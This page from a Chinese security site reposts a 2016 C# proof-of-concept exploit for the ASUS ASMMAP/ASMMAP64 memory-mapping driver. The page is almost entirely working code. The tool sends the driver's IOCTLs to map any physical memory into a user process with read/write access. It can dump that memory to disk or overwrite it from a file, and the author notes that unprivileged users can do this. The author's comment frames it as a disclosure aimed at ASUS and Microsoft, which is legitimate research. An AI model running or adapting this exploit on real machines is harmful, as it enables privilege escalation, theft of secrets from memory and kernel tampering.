首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ASUS Memory Mapping Driver (ASMMAP/ASMMAP64): Physical Memory Read/Write
来源:http://rol.im 作者:slipstream 发布时间:2016-05-10  
/*
  Source: http://rol.im/asux/
 
  ASUS Memory Mapping Driver (ASMMAP/ASMMAP64): Physical Memory Read/Write
  PoC by slipstream/RoL - https://twitter.com/TheWack0lian - http://rol.im/chat/
   
  The ASUS "Generic Function Service" includes a couple of drivers, ASMMAP.sys / ASMMAP64.sys,
  the version resources describe them as "Memory mapping Driver".
   
  This description is very accurate, it has a pair of ioctls, 0x9C402580 and 0x9C402584, that map or
  unmap to the calling process' address space ANY PART OF PHYSICAL MEMORY, with READ/WRITE permissions.
  Using code that has been copypasta'd a bunch of times, but seems to originate from a sample driver for NT 3.1.
  1993 vintage code, everybody.
   
  It also has a couple of other ioctls that allocate or free some RAM and gives the physical and virtual pointers
  to it, and another one that can make any I/O request (does in/out byte/word/dword with parameters given in the ioctl buffer,
  and returns the result for the case of in). These.. don't really matter, I guess? Well, I guess you could mess with SMM
  or other issues easily...
   
  This PoC can dump a block of physical memory to disk, and write to a block of physical memory from a file.
  I wrote it in C# so others can easily add the ASMMap_MapMem class to their powershell exploitation frameworks, if they so want.
   
  To ASUS: MS locked PhysicalMemory down in 2004. Don't use 1993 code to remove the restrictions, and let even unprivileged users
  access it (where back before it was locked to ring0, only SYSTEM could access it).
   
  To MS: why did you even sign asmmap/asmmap64? Probably automation. Come on, why does signing even exist if you sign whatever driver
  an OEM asks you to, without checking?
*/
 
// This uses pointers, so compile with /unsafe.
using System;
using System.ComponentModel;
using System.Globalization;
using System.IO;
using System.Runtime.InteropServices;
using Microsoft.Win32.SafeHandles;
 
public class ASMMap_MapMem : IDisposable {
     
    public const uint IOCTL_MAPMEM = 0x9C402580;
    public const uint IOCTL_UNMAPMEM = 0x9C402584;
     
    [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
    public static extern SafeFileHandle CreateFile(
       string lpFileName,
       [MarshalAs(UnmanagedType.U4)] FileAccess dwDesiredAccess,
       [MarshalAs(UnmanagedType.U4)] FileShare dwShareMode,
       IntPtr lpSecurityAttributes,
       [MarshalAs(UnmanagedType.U4)] FileMode dwCreationDisposition,
       [MarshalAs(UnmanagedType.U4)] FileAttributes dwFlagsAndAttributes,
       IntPtr hTemplateFile);
     
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool DeviceIoControl(
        SafeFileHandle hDevice,
        uint IoControlCode,
        ref MapMemIoctl InBuffer,
        int nInBufferSize,
        ref MapMemIoctl OutBuffer,
        int nOutBufferSize,
        IntPtr pBytesReturned,
        IntPtr Overlapped
    );
     
    [StructLayout(LayoutKind.Sequential)]
    public unsafe struct MapMemIoctl {
        public ulong PhysicalAddress;
        public byte* VirtualAddress;
        [MarshalAs(UnmanagedType.ByValArray, SizeConst=2)]
        public uint[] Length;
         
        public MapMemIoctl(SafeFileHandle asmmap,ulong PhysicalAddress,uint Length) {
            this.PhysicalAddress = PhysicalAddress;
            // Length[0] is used with ASMMAP64, Length[1] by ASMMAP. Set both here, ASMMAP will overwrite Length[0] anyway.
            this.Length = new uint[2];
            this.Length[0] = Length;
            this.Length[1] = Length;
            this.VirtualAddress = null;
            // Fire the ioctl
            Console.WriteLine("[*] Mapping 0x{0}-0x{1} into this process' address space...",PhysicalAddress.ToString("X"),(PhysicalAddress+Length).ToString("X"));
            if (!DeviceIoControl(asmmap,IOCTL_MAPMEM,ref this,Marshal.SizeOf(typeof(MapMemIoctl)),ref this,Marshal.SizeOf(typeof(MapMemIoctl)),IntPtr.Zero,IntPtr.Zero)) {
                throw new Win32Exception();
            }
            Console.WriteLine("[+] Mapped at 0x{0}",new IntPtr(this.VirtualAddress).ToInt64().ToString("X"));
        }
    }
     
    private MapMemIoctl mm;
    private SafeFileHandle asmmap = null;
    private bool ShouldDisposeOfAsmMap = false;
    private bool HasBeenDisposed = false;
     
    public uint Length {
        get {
            if (this.HasBeenDisposed) throw new ObjectDisposedException("ASMMap_MapMem");
            return mm.Length[ ( IntPtr.Size == 4 ? 1 : 0 ) ];
        }
    }
     
    public UnmanagedMemoryStream PhysicalMemoryBlock {
        get {
            if (this.HasBeenDisposed) throw new ObjectDisposedException("ASMMap_MapMem");
            unsafe {
                return new UnmanagedMemoryStream(mm.VirtualAddress,this.Length,this.Length,FileAccess.ReadWrite);
            }
        }
    }
     
    public ASMMap_MapMem(ulong PhysicalAddress,uint Length) : this(null,PhysicalAddress,Length) {
    }
     
    public ASMMap_MapMem(SafeFileHandle asmmap,ulong PhysicalAddress,uint Length) {
        if (asmmap == null) {
            asmmap = CreateFile("\\\\.\\ASMMAP" + (IntPtr.Size == 8 ? "64" : ""),FileAccess.ReadWrite,FileShare.None,
                IntPtr.Zero,FileMode.Create,FileAttributes.Temporary,IntPtr.Zero);
            this.ShouldDisposeOfAsmMap = true;
        }
        this.asmmap = asmmap;
        this.mm = new MapMemIoctl(asmmap,PhysicalAddress,Length);
    }
     
    public void Dispose() {
        if (this.HasBeenDisposed) return;
        unsafe {
            Console.WriteLine("[*] Unmapping 0x{0}-0x{1} (0x{2})...",
                mm.PhysicalAddress.ToString("X"),
                (mm.PhysicalAddress+Length).ToString("X"),
                new IntPtr(mm.VirtualAddress).ToInt64().ToString("X")
            );
        }
        try {
            if (!DeviceIoControl(asmmap,IOCTL_UNMAPMEM,ref mm,Marshal.SizeOf(typeof(MapMemIoctl)),ref mm,Marshal.SizeOf(typeof(MapMemIoctl)),IntPtr.Zero,IntPtr.Zero)) {
                throw new Win32Exception();
            }
            Console.WriteLine("[+] Unmapped successfully");
        } finally {
            // dispose of the driver handle if needed
            if (this.ShouldDisposeOfAsmMap) asmmap.Dispose();
            this.HasBeenDisposed = true;
        }
    }
     
    ~ASMMap_MapMem() {
        this.Dispose();
    }
}
 
class asmmap {
    public static bool TryParseDecAndHex(string value,out ulong result) {
        if ((value.Length > 2) && (value.Substring(0,2) == "0x")) return ulong.TryParse(value.Substring(2),NumberStyles.AllowHexSpecifier,CultureInfo.InvariantCulture,out result);
        return ulong.TryParse(value,out result);
    }
     
    public static void Usage() {
        Console.WriteLine("[*] Usage: {0} <read/write> <address> <length/file>",Path.GetFileName(System.Reflection.Assembly.GetEntryAssembly().Location));
        Console.WriteLine("[*] address: starting physical address to read/write, can be decimal or hex, for hex, start with 0x");
        Console.WriteLine("[*] length: size of memory to read, can be decimal or hex, for hex, start with 0x");
        Console.WriteLine("[*] file: file whose contents will be written at <address>");
    }
     
    public static void Read(ulong PhysicalAddress,ulong Length) {
        uint IterationSize = ( IntPtr.Size == 8 ? (uint)0x10000000 : (uint)0x1000000 );
        using (SafeFileHandle asmmap = ASMMap_MapMem.CreateFile("\\\\.\\ASMMAP" + (IntPtr.Size == 8 ? "64" : ""),FileAccess.ReadWrite,
                FileShare.None,IntPtr.Zero,FileMode.Create,FileAttributes.Temporary,IntPtr.Zero))
        using (FileStream stream = new FileStream("" + (PhysicalAddress.ToString("X")) + "-" + ((PhysicalAddress + Length).ToString("X")) + ".bin",FileMode.Create)) {
            for (; Length > 0; Length -= IterationSize, PhysicalAddress += IterationSize) {
                using (ASMMap_MapMem mapper = new ASMMap_MapMem(asmmap,PhysicalAddress,( Length > IterationSize ? IterationSize : (uint)(Length & 0xffffffff) ))) {
                    Console.WriteLine("[+] Reading block of memory...");
                    mapper.PhysicalMemoryBlock.CopyTo(stream);
                }
                if ( Length <= IterationSize) break;
            }
        }
        Console.WriteLine("[+] Read successful: "+ (PhysicalAddress.ToString("X")) + "-" + ((PhysicalAddress + Length).ToString("X")) + ".bin");
    }
     
    public static void Write(ulong PhysicalAddress,string Filename) {
        using (FileStream stream = new FileStream(Filename,FileMode.Open))
        using (ASMMap_MapMem mapper = new ASMMap_MapMem(PhysicalAddress,(uint)stream.Length)) {
            Console.WriteLine("[+] Writing block of memory...");
            stream.CopyTo(mapper.PhysicalMemoryBlock);
        }
    }
     
    public static void Main(string[] args) {
        Console.WriteLine("[*] ASUS Memory Mapping Driver (ASMMAP/ASMMAP64): Physical Memory Read/Write");
        Console.WriteLine("[*] PoC by slipstream/RoL - https://twitter.com/TheWack0lian - http://rol.im/chat/");
        if (args.Length < 3) {
            Usage();
            return;
        }
        ulong PhysicalAddress, Length;
        switch (args[0]) {
            case "read":
            case "-read":
            case "--read":
                if ((!TryParseDecAndHex(args[1],out PhysicalAddress)) || (!TryParseDecAndHex(args[2],out Length))) {
                    Usage();
                    return;
                }
                Read(PhysicalAddress,Length);
                break;
            case "write":
            case "-write":
            case "--write":
                if (!TryParseDecAndHex(args[1],out PhysicalAddress)) {
                    Usage();
                    return;
                }
                Write(PhysicalAddress,args[2]);
                break;
            default:
                Usage();
                break;
        }
    }
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Dell SonicWall Scrutinizer <=
·CIScan 1.00 - Hostname/IP Fiel
·i.FTP 2.21 - Host Address / UR
·RPCScan 2.03 - Hostname/IP Fie
·Baidu Spark Browser 43.23.1000
·ImageMagick Delegate Arbitrary
·ImageMagick < 6.9.3-9 - Multip
·Ruby on Rails Development Web
·PHP Imagick 3.3.0 - disable_fu
·PHP 5.2.x Safe Mode Windows By
·TRN Threaded USENET News Reade
·MediaInfo 0.7.61 - Crash PoC
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved